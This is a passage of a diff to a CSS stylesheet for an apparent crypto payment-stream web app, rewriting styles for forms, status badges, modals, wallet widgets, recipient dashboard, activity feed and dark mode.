2px rgba(34, 197, 94, 0.25); -} - -.wallet-disconnect { - font-size: 0.82rem; - padding: 0.25rem 0.55rem; - min-height: 30px; -} - -.wallet-error { - font-size: 0.8rem; - color: #dc2626; - max-width: 220px; -} - -/* ── Wallet-required notice inside the form ────────────── */ - -.wallet-required-notice { - margin: 0; - font-size: 0.83rem; - color: #0369a1; - background: #eff6ff; - border: 1px solid #bfdbfe; - border-radius: 6px; - padding: 0.45rem 0.6rem; -} - -/* ── Read-only sender input (auto-filled from wallet) ───── */ - -.input-readonly { - background: #f9fafb !important; - color: #6b7280 !important; - cursor: default; -} - -.input-readonly:focus { - border-color: #d1d5db !important; - box-shadow: none !important; -} - -/* ── Recipient dashboard ───────────────────────────────── */ - -.recipient-dashboard { - margin-top: 0; -} - -.recipient-dashboard-card { - display: grid; - gap: 1rem; -} - -.recipient-dashboard-title { - margin: 0; - font-size: 1.15rem; -} - -.recipient-dashboard-subtitle { - margin: -0.5rem 0 0; -} - -.recipient-dashboard-metrics { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(140px, 1fr)); - gap: 0.75rem; -} - -.recipient-dashboard-section { - margin-top: 0.5rem; -} - -.recipient-dashboard-section-title { - margin: 0 0 0.5rem; - font-size: 1rem; - font-weight: 600; - color: #374151; -} - -.recipient-dashboard-empty, -.recipient-dashboard-loading { - padding: 1.5rem; - text-align: center; - background: #f9fafb; - border-radius: 8px; - border: 1px dashed #e5e7eb; -} - -.recipient-dashboard-loading { - display: flex; - flex-direction: column; - align-items: center; - gap: 0.75rem; -} - -.recipient-dashboard-error { - padding: 1rem; - background: #fef2f2; - border: 1px solid #fecaca; - border-radius: 8px; - color: #991b1b; -} - -.recipient-dashboard-error p { - margin: 0; - font-size: 0.9rem; -} - -.claim-toast { - display: flex; - align-items: center; - gap: 0.5rem; - margin-bottom: 0.75rem; - padding: 0.65rem 0.8rem; - border: 1px solid #bbf7d0; - border-radius: 8px; - background: #f0fdf4; - color: #166534; - font-size: 0.9rem; -} - -.claim-toast--error { - border-color: #fecaca; - background: #fef2f2; - color: #991b1b; -} - -.claim-toast__icon { - font-weight: 700; -} - -.claim-toast__msg { - flex: 1; -} - -.claim-toast__link { - color: inherit; - font-weight: 700; - white-space: nowrap; -} - -.claim-toast__dismiss { - border: none; - background: transparent; - color: inherit; - cursor: pointer; - font-size: 1rem; - line-height: 1; -} - -.btn-claim { - display: inline-flex; - align-items: center; - justify-content: center; - gap: 0.4rem; - min-width: 112px; - min-height: 36px; - padding: 0.45rem 0.75rem; - border: 1px solid #0f766e; - border-radius: 6px; - background: #0f766e; - color: #ffffff; - font-weight: 700; - cursor: pointer; -} - -.btn-claim:disabled { - cursor: not-allowed; - opacity: 0.65; -} - -.btn-claim--confirmed { - border-color: #15803d; - background: #15803d; -} - -.btn-claim--failed { - border-color: #dc2626; - background: #dc2626; -} - -.btn-claim__spinner { - width: 0.85rem; - height: 0.85rem; - border: 2px solid rgba(255, 255, 255, 0.55); - border-top-color: #ffffff; - border-radius: 50%; - animation: recipient-spin 0.7s linear infinite; -} - -.claim-pending-banner { - display: flex; - align-items: center; - gap: 0.5rem; - color: #0f766e; - font-size: 0.9rem; - font-weight: 600; -} - -.loading-spinner { - width: 32px; - height: 32px; - border: 3px solid #e5e7eb; - border-top-color: #0ea5a5; - border-radius: 50%; - animation: recipient-spin 0.7s linear infinite; -} - -@keyframes recipient-spin { - to { - transform: rotate(360deg); - } -} - -.truncate-address { - font-family: ui-monospace, monospace; - font-size: 0.85rem; -} - -.progress-copy { - display: block; - font-size: 0.88rem; -} - -/* ── Skeleton / Loading states ─────────────────────────── */ - -@keyframes shimmer { - 0% { - background-position: -468px 0; - } - 100% { - background-position: 468px 0; - } -} - -.skeleton { - background: #e5e7eb; - background-image: linear-gradient( - to right, - #e5e7eb 0%, - #d1d5db 20%, - #e5e7eb 40%, - #e5e7eb 100% - ); - background-repeat: no-repeat; - background-size: 800px 100%; - display: block; - position: relative; - animation: shimmer 1.5s linear infinite forwards; - border-radius: 6px; -} - -.skeleton-item { - height: 60px; - width: 100%; - border-radius: 10px; - margin-bottom: 0.75rem; -} - -/* ── Activity / History View ───────────────────────────── */ - -.activity-feed { - display: grid; - gap: 0.75rem; -} - -.activity-item { - display: flex; - align-items: flex-start; - gap: 1rem; - padding: 1rem; - background: white; - border: 1px solid #e5e7eb; - border-radius: 12px; - transition: transform 0.2s ease, box-shadow 0.2s ease; -} - -.activity-item:hover { - transform: translateY(-2px); - box-shadow: 0 4px 12px rgba(0, 0, 0, 0.05); -} - -.activity-icon { - display: flex; - align-items: center; - justify-content: center; - width: 40px; - height: 40px; - background: #f3f4f6; - border-radius: 50%; - font-size: 1.25rem; - flex-shrink: 0; -} - -.activity-content { - flex: 1; -} - -.activity-title { - font-weight: 600; - color: #111827; - font-size: 0.95rem; - margin: 0 0 0.15rem 0; -} - -.activity-meta { - font-size: 0.82rem; - color: #6b7280; - display: flex; - align-items: center; - gap: 0.5rem; -} - -.activity-empty { - text-align: center; - padding: 3rem 1rem; - background: #f9fafb; - border: 2px dashed #e5e7eb; - border-radius: 12px; - color: #6b7280; -} - -.activity-empty-icon { - font-size: 3rem; - margin-bottom: 1rem; - display: block; - opacity: 0.5; -} - -.activity-error { - padding: 1.5rem; - background: #fef2f2; - border: 1px solid #fecaca; - border-radius: 12px; - color: #991b1b; - text-align: center; -} - -.activity-error h3 { - margin: 0 0 0.5rem 0; - font-size: 1rem; -} - -.activity-error button { - margin-top: 0.75rem; -} - -.retry-btn { - background: #991b1b; - color: white; - border: none; - padding: 0.4rem 1rem; - border-radius: 6px; - font-size: 0.85rem; - font-weight: 600; - cursor: pointer; - transition: background 0.15s; -} - -.retry-btn:hover { - background: #7f1d1d; -} - -/* ── Nav tabs (Dashboard vs Recipient) ────────────────── */ - -.app-nav { - display: flex; - gap: 0.25rem; - margin-bottom: 1rem; - border-bottom: 1px solid #e5e7eb; -} - -.app-nav-link { - padding: 0.5rem 0.75rem; - font-size: 0.9rem; - font-weight: 500; - color: #6b7280; - background: none; - border: none; - border-bottom: 2px solid transparent; - margin-bottom: -1px; - cursor: pointer; - transition: color 0.15s, border-color 0.15s; -} - -.app-nav-link:hover { - color: #374151; -} - -.app-nav-link--active { - color: #0ea5a5; - border-bottom-color: #0ea5a5; -} - -/* ── prefers-reduced-motion ─────────────────────────────── */ - -@media (prefers-reduced-motion: reduce) { - /* Disable skeleton shimmer — show static tint instead */ - .skeleton { - animation: none; - background-image: none; - background: #e5e7eb; - } - - /* Disable progress bar width transitions */ - .progress-bar > div { - transition: none; - } - - /* Disable all generic transitions */ - *, - *::before, - *::after { - transition-duration: 0.01ms !important; - animation-duration: 0.01ms !important; - animation-iteration-count: 1 !important; - } -} - - -/* ═══════════════════════════════════════════════════════════════════════════ - DARK MODE - Applied via the `dark` class on (set by useTheme / anti-FOUC script) - ═══════════════════════════════════════════════════════════════════════════ */ - -:root { - --bg-page: #f6f8fb; - --bg-card: #ffffff; - --bg-input: #ffffff; - --bg-muted: #f9fafb; - --bg-table-head: #ffffff; - --color-text: #1f2937; - --color-text-muted: #6b7280; - --color-text-label: #374151; - --border: #e5e7eb; - --border-input: #d1d5db; - --modal-backdrop: rgba(15, 23, 42, 0.45); -} - -.dark { - --bg-page: #0f1117; - --bg-card: #1a1d2e; - --bg-input: #1e2235; - --bg-muted: #141627; - --bg-table-head: #1a1d2e; - --color-text: #f3f4f6; - --color-text-muted: #9ca3af; - --color-text-label: #d1d5db; - --border: #2a2d3e; - --border-input: #374151; - --modal-backdrop: rgba(0, 0, 0, 0.65); -} - -/* ── Base ─────────────────────────────────────────────────────────────────── */ - -body { - background: var(--bg-page); - color: var(--color-text); -} - -/* ── Cards & surfaces ─────────────────────────────────────────────────────── */ - -.card, -.metric-card, -.chart-section, -.modal-panel, -.issue-item, -.activity-item, -.fee-preview-list div { - background: var(--bg-card); - border-color: var(--border); - color: var(--color-text); -} - -/* ── Table ────────────────────────────────────────────────────────────────── */ - -.streams-table-head, -.streams-table-head th { - background: var(--bg-table-head); -} - -th, -td { - border-bottom-color: var(--border); -} - -/* ── Form inputs ──────────────────────────────────────────────────────────── */ - -.field-group input, -input { - background: var(--bg-input); - border-color: var(--border-input); - color: var(--color-text); -} - -.field-group label { - color: var(--color-text-label); -} - -.field-hint { - color: var(--color-text-muted); -} - -.input-readonly { - background: var(--bg-muted) !important; - color: var(--color-text-muted) !important; -} - -/* ── Buttons ──────────────────────────────────────────────────────────────── */ - -.btn-ghost { - background: var(--bg-card); - border-color: var(--border); - color: var(--color-text); -} - -.btn-ghost:hover:not(:disabled) { - background: var(--bg-muted); -} - -/* ── Muted / secondary text ───────────────────────────────────────────────── */ - -.muted, -.metric-card span, -.hero-copy, -.chart-section__title, -.recipient-dashboard-section-title { - color: var(--color-text-muted); -} - -/* ── Wallet address chip ─────────────────────────────────────────────────── */ - -.dark .wallet-address { - background: #0d2b1d; - border-color: #166534; - color: #86efac; -} - -/* ── Nav ─────────────────────────────────────────────────────────────────── */ - -.app-nav { - border-bottom-color: var(--border); -} - -/* ── Modal ───────────────────────────────────────────────────────────────── */ - -.modal-backdrop { - background: var(--modal-backdrop); -} - -.modal-title { - color: var(--color-text); -} - -.modal-close { - color: var(--color-text-muted); -} - -.dark .modal-close:hover { - background: #2a2d3e; - color: var(--color-text); -} - -/* ── Skeletons ───────────────────────────────────────────────────────────── */ - -.dark .skeleton { - background: #2a2d3e; - background-image: linear-gradient( - to right, - #2a2d3e 0%, - #353849 20%, - #2a2d3e 40%, - #2a2d3e 100% - ); -} - -/* ── Progress bar track ──────────────────────────────────────────────────── */ - -.dark .progress-bar { - background: #2a2d3e; -} - -/* ── Empty / loading states ──────────────────────────────────────────────── */ - -.dark .chart-empty-state, -.dark .recipient-dashboard-empty, -.dark .recipient-dashboard-loading { - background: var(--bg-muted); - border-color: var(--border); -} - -/* ── Draft recovery banner ───────────────────────────────────────────────── */ - -.dark .draft-recovery-banner { - background: #052e16; - border-color: #166534; - color: #86efac; -} - -/* ── Error / warning boxes ───────────────────────────────────────────────── */ - -.dark .api-error-box { - background: #2d1a07; - border-color: #92400e; -} - -.dark .api-error-box__title { - color: #fcd34d; -} - -.dark .api-error-box__hint { - color: #fde68a; -} - -.dark .form-summary-error { - background: #2d0a0a; - border-color: #991b1b; - color: #fca5a5; -} - -.dark .error-banner { - background: #2d0a0a; - border-color: #991b1b; - color: #fca5a5; -} - -/* ── Fee preview ─────────────────────────────────────────────────────────── */ - -.dark .fee-preview-list dt { - color: var(--color-text-muted); -} - -.dark .fee-preview-list dd { - color: var(--color-text); -} - -/* ── Activity feed ───────────────────────────────────────────────────────── */ - -.dark .activity-icon { - background: #2a2d3e; -} - -.dark .activity-title { - color: var(--color-text); -} - -.dark .activity-empty { - background: var(--bg-muted); - border-color: var(--border); - color: var(--color-text-muted); -} - -/* ── Dark mode toggle button ─────────────────────────────────────────────── */ - -.dark-mode-toggle { - font-size: 1.2rem; - min-height: 36px; - display: flex; - align-items: center; - margin-right: 0.5rem; -} +body { + margin: 0; + font-family: "Segoe UI", sans-serif; + background: #f6f8fb; + color: #1f2937; +} + +/* ── Visually hidden (screen-reader only) ───────────────────────────── */ + +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0, 0, 0, 0); + white-space: nowrap; + border: 0; +} + +.app-shell { + max-width: 1100px; + margin: 0 auto; + padding: 1rem; +} + +.hero { + margin-bottom: 1rem; +} + +.hero h1 { + margin: 0; +} + +.hero-copy { + color: #4b5563; +} + +.metric-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); + gap: 0.75rem; + margin-bottom: 1rem; +} + +.metric-card { + background: white; + border: 1px solid #e5e7eb; + border-radius: 10px; + padding: 0.75rem; +} + +.metric-card span { + display: block; + font-size: 0.85rem; + color: #6b7280; +} + +.metric-card strong { + font-size: 1.4rem; +} + +.layout-grid { + display: grid; + gap: 1rem; +} + +.card { + background: white; + border: 1px solid #e5e7eb; + border-radius: 10px; + padding: 1rem; +} + +.form-grid { + display: grid; + gap: 0.85rem; +} + +.row { + display: grid; + gap: 0.75rem; +} + +/* ── Field groups ──────────────────────────────────────── */ + +.field-group { + display: grid; + gap: 0.25rem; +} + +.field-group label { + font-size: 0.9rem; + font-weight: 500; + color: #374151; +} + +.field-required { + color: #dc2626; +} + +.field-group input { + border: 1.5px solid #d1d5db; + border-radius: 8px; + min-height: 38px; + padding: 0.45rem 0.6rem; + font-size: 0.9rem; + transition: border-color 0.15s ease, box-shadow 0.15s ease; + outline: none; +} + +.field-group input:focus { + border-color: #0ea5a5; + box-shadow: 0 0 0 3px rgba(14, 165, 165, 0.15); +} + +/* Error state */ +.field-group--error input { + border-color: #dc2626; + background: #fff8f8; +} + +.field-group--error input:focus { + border-color: #dc2626; + box-shadow: 0 0 0 3px rgba(220, 38, 38, 0.12); +} + +/* ── Field-level error message ─────────────────────────── */ + +.field-error { + display: flex; + align-items: flex-start; + gap: 0.3rem; + font-size: 0.8rem; + color: #dc2626; + line-height: 1.4; + padding-top: 0.1rem; +} + +.field-error::before { + content: "⚠"; + flex-shrink: 0; + font-size: 0.75rem; + margin-top: 0.05rem; +} + +/* ── Inline hint (account length tracker, start=0 note) ── */ + +.field-hint { + font-size: 0.78rem; + color: #6b7280; + line-height: 1.4; +} + +.field-hint--ok { + color: #059669; +} + +.field-hint--warn { + color: #d97706; +} + +/* ── Summary error shown at bottom of form ─────────────── */ + +.form-summary-error { + margin: 0; + font-size: 0.83rem; + color: #dc2626; + background: #fff1f2; + border: 1px solid #fecaca; + border-radius: 6px; + padding: 0.45rem 0.6rem; +} + +/* ── API error box (inside the form card) ──────────────── */ + +.api-error-box { + background: #fff7ed; + border: 1.5px solid #fed7aa; + border-radius: 8px; + padding: 0.65rem 0.8rem; + display: grid; + gap: 0.3rem; +} + +.api-error-box__title { + display: flex; + align-items: center; + gap: 0.4rem; + font-weight: 600; + font-size: 0.88rem; + color: #92400e; +} + +.api-error-box__icon { + font-size: 1rem; +} + +.api-error-box__hint { + font-size: 0.82rem; + color: #78350f; + line-height: 1.5; +} + +/* ── Draft recovery banner ────────────────────────────── */ + +.draft-recovery-banner { + background: #f0fdf4; + border: 1.5px solid #bbf7d0; + border-radius: 8px; + padding: 0.65rem 0.8rem; + font-size: 0.88rem; + color: #166534; + line-height: 1.5; + display: flex; + gap: 0.4rem; + align-items: center; + flex-wrap: wrap; + margin-bottom: 0.85rem; +} + +.draft-recovery-banner__discard-link { + background: none; + border: none; + color: #166534; + text-decoration: underline; + cursor: pointer; + font-weight: 600; + padding: 0; + font: inherit; +} + +.draft-recovery-banner__discard-link:hover:not(:disabled) { + color: #15803d; +} + +.draft-recovery-banner__discard-link:disabled { + opacity: 0.5; + cursor: not-allowed; +} + +/* ── Global error banner (cancel failures, etc.) ───────── */ + +.error-banner { + display: flex; + align-items: center; + gap: 0.5rem; + margin-bottom: 1rem; + background: #fef2f2; + border: 1.5px solid #fca5a5; + color: #991b1b; + border-radius: 8px; + padding: 0.55rem 0.75rem; + font-size: 0.88rem; +} + +.error-banner__icon { + flex-shrink: 0; + font-style: normal; +} + +.error-banner span:nth-child(2) { + flex: 1; +} + +.error-banner__dismiss { + flex-shrink: 0; + background: none; + border: none; + cursor: pointer; + font-size: 1.1rem; + line-height: 1; + color: #991b1b; + padding: 0 0.2rem; + opacity: 0.7; + transition: opacity 0.15s; +} + +.error-banner__dismiss:hover { + opacity: 1; +} + +/* ── Legacy label (outside field-groups, e.g. future use) ── */ + +label { + display: grid; + gap: 0.25rem; + font-size: 0.9rem; +} + +input { + border: 1px solid #d1d5db; + border-radius: 8px; + min-height: 38px; + padding: 0.45rem 0.6rem; +} + +.btn-primary { + border: 0; + border-radius: 8px; + min-height: 38px; + padding: 0.5rem 0.8rem; + font-weight: 600; + color: white; + background: #0ea5a5; + cursor: pointer; + transition: background 0.15s; +} + +.btn-primary:hover:not(:disabled) { + background: #0c9191; +} + +.btn-primary:disabled { + opacity: 0.55; + cursor: not-allowed; +} + +.btn-ghost { + border: 1px solid #d1d5db; + border-radius: 8px; + min-height: 34px; + background: white; + cursor: pointer; + padding: 0.35rem 0.6rem; + transition: background 0.12s; +} + +.btn-ghost:hover:not(:disabled) { + background: #f9fafb; +} + +.btn-ghost:disabled { + opacity: 0.45; + cursor: not-allowed; +} + +.table-wrap { + overflow-x: auto; +} + +.streams-table-scroll { + overflow: auto; +} + +.streams-table-head { + position: sticky; + top: 0; + z-index: 2; + background: white; +} + +.streams-table-head th { + background: white; +} + +.streams-table-spacer td { + line-height: 0; +} + +table { + width: 100%; + border-collapse: collapse; +} + +th, +td { + text-align: left; + border-bottom: 1px solid #e5e7eb; + padding: 0.55rem 0.25rem; + font-size: 0.9rem; + vertical-align: top; +} + +.muted { + color: #6b7280; + font-size: 0.8rem; +} + +.stacked { + display: grid; + gap: 0.2rem; +} + +.progress-bar { + height: 7px; + border-radius: 999px; + background: #e5e7eb; + overflow: hidden; + margin-top: 0.3rem; +} + +.progress-bar>div { + height: 100%; + background: #0ea5a5; + transition: width 0.3s ease-in-out; +} + +.badge { + display: inline-flex; + align-items: center; + gap: 0.35rem; + text-transform: capitalize; + font-size: 0.78rem; + font-weight: 500; + border: 1px solid #d1d5db; + border-radius: 999px; + padding: 0.18rem 0.5rem; + line-height: 1.2; +} + +.status-badge { + cursor: help; + transition: box-shadow 0.15s ease, transform 0.15s ease; +} + +.status-badge:focus-visible { + outline: 2px solid #2563eb; + outline-offset: 2px; +} + +.status-badge-icon { + width: 13px; + height: 13px; + flex-shrink: 0; +} + +/* Scheduled: Gray */ +.badge-scheduled { + background: #f3f4f6; + color: #374151; + border-color: #d1d5db; +} + +/* Active: Blue */ +.badge-active { + background: #eff6ff; + color: #1d4ed8; + border-color: #93c5fd; +} + +/* Completed: Green */ +.badge-completed { + background: #ecfdf5; + color: #047857; + border-color: #a7f3d0; +} + +/* Canceled: Red */ +.badge-canceled { + background: #fef2f2; + color: #b91c1c; + border-color: #fca5a5; +} + +/* Paused: Yellow */ +.badge-paused { + background: #fefce8; + color: #a16207; + border-color: #fde047; +} + +/* ── Health badges (derived, additive — never replace status label) ── */ + +.badge-health { + display: inline-flex; + align-items: center; + gap: 0.2rem; + font-size: 0.72rem; + font-weight: 500; + border-radius: 999px; + padding: 0.12rem 0.45rem; + border: 1px solid transparent; + white-space: nowrap; + cursor: default; +} + +/* Starts Soon – blue-tinted */ +.badge-health--soon { + background: #e0f2fe; + border-color: #7dd3fc; + color: #0369a1; +} + +/* Claim Pending – amber */ +.badge-health--claim { + background: #fef9c3; + border-color: #fde047; + color: #854d0e; +} + +/* Almost Done – teal/green */ +.badge-health--ending { + background: #d1fae5; + border-color: #6ee7b7; + color: #065f46; +} + +/* Expiring Soon – orange */ +.badge-health--expiring { + background: #fff7ed; + border-color: #fdba74; + color: #9a3412; +} + +/* Recently Canceled – rose */ +.badge-health--recent-cancel { + background: #ffe4e6; + border-color: #fda4af; + color: #9f1239; +} + +/* ── Status cell: stacks status label + health badges vertically ── */ + +.status-cell { + display: flex; + flex-direction: column; + gap: 0.3rem; + align-items: flex-start; +} + +.health-badge-row { + display: flex; + flex-wrap: wrap; + gap: 0.25rem; +} + +.issue-list { + display: grid; + gap: 0.6rem; +} + +.issue-item { + border: 1px solid #e5e7eb; + border-radius: 8px; + padding: 0.7rem; +} + +.chip-row { + display: flex; + flex-wrap: wrap; + gap: 0.35rem; +} + +.chip { + border: 1px solid #d1d5db; + border-radius: 999px; + padding: 0.12rem 0.45rem; + font-size: 0.75rem; + background: #f9fafb; +} + +@media (min-width: 920px) { + .layout-grid { + grid-template-columns: 380px 1fr; + } + + .row { + grid-template-columns: 1fr 1fr; + } +} + +/* ── Action cell (Edit + Cancel side-by-side) ──────────── */ + +.action-cell { + display: flex; + gap: 0.4rem; + flex-wrap: wrap; + align-items: center; +} + +.btn-edit { + font-size: 0.8rem; + color: #0369a1; + border-color: #bae6fd; + background: #f0f9ff; +} + +.btn-edit:hover:not(:disabled) { + background: #e0f2fe; +} + +/* ── Modal ─────────────────────────────────────────────── */ + +.modal-backdrop { + position: fixed; + inset: 0; + background: rgba(15, 23, 42, 0.45); + display: flex; + align-items: center; + justify-content: center; + z-index: 100; + padding: 1rem; + backdrop-filter: blur(2px); +} + +.modal-panel { + background: white; + border-radius: 14px; + padding: 1.5rem; + width: 100%; + max-width: 420px; + box-shadow: 0 20px 60px rgba(0, 0, 0, 0.18); + display: grid; + gap: 1rem; +} + +.modal-header { + display: flex; + align-items: center; + justify-content: space-between; +} + +.modal-title { + margin: 0; + font-size: 1.05rem; + font-weight: 700; + color: #111827; +} + +.modal-close { + background: none; + border: none; + cursor: pointer; + font-size: 0.95rem; + color: #6b7280; + padding: 0.2rem 0.4rem; + border-radius: 6px; + transition: background 0.12s, color 0.12s; +} + +.modal-close:hover { + background: #f3f4f6; + color: #111827; +} + +.modal-stream-hint { + margin: -0.25rem 0 0; + font-size: 0.82rem; + color: #6b7280; +} + +.modal-actions { + display: flex; + gap: 0.5rem; + justify-content: flex-end; + margin-top: 0.25rem; +} + +.fee-preview-list { + display: grid; + gap: 0.75rem; + margin: 0; +} + +.fee-preview-list div { + display: flex; + align-items: center; + justify-content: space-between; + gap: 1rem; + padding: 0.85rem 1rem; + border: 1px solid #e5e7eb; + border-radius: 10px; + background: #f9fafb; +} + +.fee-preview-list dt { + color: #6b7280; + font-size: 0.9rem; +} + +.fee-preview-list dd { + margin: 0; + color: #111827; + font-weight: 700; + text-align: right; +} +.chart-section { + background: white; + border: 1px solid #e5e7eb; + border-radius: 10px; + padding: 1.5rem; + margin-bottom: 1rem; +} + +.chart-section__title { + margin: 0 0 1.25rem 0; + font-size: 1.2rem; + font-weight: 600; + color: #1f2937; +} + +.chart-container { + width: 100%; + min-height: 400px; +} + +.chart-empty-state { + display: flex; + align-items: center; + justify-content: center; + min-height: 400px; + background: #f9fafb; + border: 2px dashed #d1d5db; + border-radius: 10px; +} + +.chart-empty-state__content { + text-align: center; + max-width: 320px; + padding: 2rem; +} + +.chart-empty-state__icon { + font-size: 3rem; + display: block; + margin-bottom: 0.75rem; + opacity: 0.5; +} + +.chart-empty-state__content h3 { + margin: 0 0 0.5rem 0; + font-size: 1.1rem; + color: #374151; +} + +.chart-empty-state__content p { + margin: 0; + font-size: 0.9rem; + color: #6b7280; + line-height: 1.5; +} + +@media (max-width: 768px) { + .chart-section { + padding: 1rem; + } + + .chart-section__title { + font-size: 1rem; + margin-bottom: 1rem; + } + + .chart-container { + min-height: 300px; + } + + .chart-empty-state { + min-height: 300px; + } + + .chart-empty-state__icon { + font-size: 2.5rem; + } +} + + +/* ── Hero top bar (title + wallet button) ──────────────── */ + +.hero-top { + display: flex; + align-items: flex-start; + justify-content: space-between; + gap: 1rem; + flex-wrap: wrap; +} + +/* ── Wallet connect / status ───────────────────────────── */ + +.wallet-btn { + white-space: nowrap; + font-size: 0.88rem; + padding: 0.4rem 0.85rem; + min-height: 36px; +} + +.wallet-status { + display: flex; + align-items: center; + gap: 0.5rem; + flex-wrap: wrap; +} + +.wallet-address { + display: flex; + align-items: center; + gap: 0.35rem; + font-size: 0.85rem; + font-weight: 500; + color: #1f2937; + background: #f0fdf4; + border: 1px solid #bbf7d0; + border-radius: 999px; + padding: 0.25rem 0.65rem; +} + +.wallet-dot { + width: 8px; + height: 8px; + border-radius: 50%; + flex-shrink: 0; +} + +.wallet-dot--connected { + background: #22c55e; + box-shadow: 0 0 0 2px rgba(34, 197, 94, 0.25); +} + +.wallet-disconnect { + font-size: 0.82rem; + padding: 0.25rem 0.55rem; + min-height: 30px; +} + +.wallet-error { + font-size: 0.8rem; + color: #dc2626; + max-width: 220px; +} + +/* ── Wallet-required notice inside the form ────────────── */ + +.wallet-required-notice { + margin: 0; + font-size: 0.83rem; + color: #0369a1; + background: #eff6ff; + border: 1px solid #bfdbfe; + border-radius: 6px; + padding: 0.45rem 0.6rem; +} + +/* ── Read-only sender input (auto-filled from wallet) ───── */ + +.input-readonly { + background: #f9fafb !important; + color: #6b7280 !important; + cursor: default; +} + +.input-readonly:focus { + border-color: #d1d5db !important; + box-shadow: none !important; +} + +/* ── Recipient dashboard ───────────────────────────────── */ + +.recipient-dashboard { + margin-top: 0; +} + +.recipient-dashboard-card { + display: grid; + gap: 1rem; +} + +.recipient-dashboard-title { + margin: 0; + font-size: 1.15rem; +} + +.recipient-dashboard-subtitle { + margin: -0.5rem 0 0; +} + +.recipient-dashboard-metrics { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(140px, 1fr)); + gap: 0.75rem; +} + +.recipient-dashboard-section { + margin-top: 0.5rem; +} + +.recipient-dashboard-section-title { + margin: 0 0 0.5rem; + font-size: 1rem; + font-weight: 600; + color: #374151; +} + +.recipient-dashboard-empty, +.recipient-dashboard-loading { + padding: 1.5rem; + text-align: center; + background: #f9fafb; + border-radius: 8px; + border: 1px dashed #e5e7eb; +} + +.recipient-dashboard-loading { + display: flex; + flex-direction: column; + align-items: center; + gap: 0.75rem; +} + +.recipient-dashboard-error { + padding: 1rem; + background: #fef2f2; + border: 1px solid #fecaca; + border-radius: 8px; + color: #991b1b; +} + +.recipient-dashboard-error p { + margin: 0; + font-size: 0.9rem; +} + +.claim-toast { + display: flex; + align-items: center; + gap: 0.5rem; + margin-bottom: 0.75rem; + padding: 0.65rem 0.8rem; + border: 1px solid #bbf7d0; + border-radius: 8px; + background: #f0fdf4; + color: #166534; + font-size: 0.9rem; +} + +.claim-toast--error { + border-color: #fecaca; + background: #fef2f2; + color: #991b1b; +} + +.claim-toast__icon { + font-weight: 700; +} + +.claim-toast__msg { + flex: 1; +} + +.claim-toast__link { + color: inherit; + font-weight: 700; + white-space: nowrap; +} + +.claim-toast__dismiss { + border: none; + background: transparent; + color: inherit; + cursor: pointer; + font-size: 1rem; + line-height: 1; +} + +.btn-claim { + display: inline-flex; + align-items: center; + justify-content: center; + gap: 0.4rem; + min-width: 112px; + min-height: 36px; + padding: 0.45rem 0.75rem; + border: 1px solid #0f766e; + border-radius: 6px; + background: #0f766e; + color: #ffffff; + font-weight: 700; + cursor: pointer; +} + +.btn-claim:disabled { + cursor: not-allowed; + opacity: 0.65; +} + +.btn-claim--confirmed { + border-color: #15803d; + background: #15803d; +} + +.btn-claim--failed { + border-color: #dc2626; + background: #dc2626; +} + +.btn-claim__spinner { + width: 0.85rem; + height: 0.85rem; + border: 2px solid rgba(255, 255, 255, 0.55); + border-top-color: #ffffff; + border-radius: 50%; + animation: recipient-spin 0.7s linear infinite; +} + +.claim-pending-banner { + display: flex; + align-items: center; + gap: 0.5rem; + color: #0f766e; + font-size: 0.9rem; + font-weight: 600; +} + +.loading-spinner { + width: 32px; + height: 32px; + border: 3px solid #e5e7eb; + border-top-color: #0ea5a5; + border-radius: 50%; + animation: recipient-spin 0.7s linear infinite; +} + +@keyframes recipient-spin { + to { + transform: rotate(360deg); + } +} + +.truncate-address { + font-family: ui-monospace, monospace; + font-size: 0.85rem; +} + +.progress-copy { + display: block; + font-size: 0.88rem; +} + +/* ── Skeleton / Loading states ─────────────────────────── */ + +@keyframes shimmer { + 0% { + background-position: -468px 0; + } + 100% { + background-position: 468px 0; + } +} + +.skeleton { + background: #e5e7eb; + background-image: linear-gradient( + to right, + #e5e7eb 0%, + #d1d5db 20%, + #e5e7eb 40%, + #e5e7eb 100% + ); + background-repeat: no-repeat; + background-size: 800px 100%; + display: block; + position: relative; + animation: shimmer 1.5s linear infinite forwards; + border-radius: 6px; +} + +.skeleton-item { + height: 60px; + width: 100%; + border-radius: 10px; + margin-bottom: 0.75rem; +} + +/* ── Activity / History View ───────────────────────────── */ + +.activity-feed { + display: grid; + gap: 0.75rem; +} + +.activity-item { + display: flex; + align-items: flex-start; + gap: 1rem; + padding: 1rem; + background: white; + border: 1px solid #e5e7eb; + border-radius: 12px; + transition: transform 0.2s ease, box-shadow 0.2s ease; +} + +.activity-item:hover { + transform: translateY(-2px); + box-shadow: 0 4px 12px rgba(0, 0, 0, 0.05); +} + +.activity-icon { + display: flex; + align-items: center; + justify-content: center; + width: 40px; + height: 40px; + background: #f3f4f6; + border-radius: 50%; + font-size: 1.25rem; + flex-shrink: 0; +} + +.activity-content { + flex: 1; +} + +.activity-title { + font-weight: 600; + color: #111827; + font-size: 0.95rem; + margin: 0 0 0.15rem 0; +} + +.activity-meta { + font-size: 0.82rem; + color: #6b7280; + display: flex; + align-items: center; + gap: 0.5rem; +} + +.activity-empty { + text-align: center; + padding: 3rem 1rem; + background: #f9fafb; + border: 2px dashed #e5e7eb; + border-radius: 12px; + color: #6b7280; +} + +.activity-empty-icon { + font-size: 3rem; + margin-bottom: 1rem; + display: block; + opacity: 0.5; +} + +.activity-error { + padding: 1.5rem; + background: #fef2f2; + border: 1px solid #fecaca; + border-radius: 12px; + color: #991b1b; + text-align: center; +} + +.activity-error h3 { + margin: 0 0 0.5rem 0; + font-size: 1rem; +} + +.activity-error button { + margin-top: 0.75rem; +} + +.retry-btn { + background: #991b1b; + color: white; + border: none; + padding: 0.4rem 1rem; + border-radius: 6px; + font-size: 0.85rem; + font-weight: 600; + cursor: pointer; + transition: background 0.15s; +} + +.retry-btn:hover { + background: #7f1d1d; +} + +/* ── Nav tabs (Dashboard vs Recipient) ────────────────── */ + +.app-nav { + display: flex; + gap: 0.25rem; + margin-bottom: 1rem; + border-bottom: 1px solid #e5e7eb; +} + +.app-nav-link { + padding: 0.5rem 0.75rem; + font-size: 0.9rem; + font-weight: 500; + color: #6b7280; + background: none; + border: none; + border-bottom: 2px solid transparent; + margin-bottom: -1px; + cursor: pointer; + transition: color 0.15s, 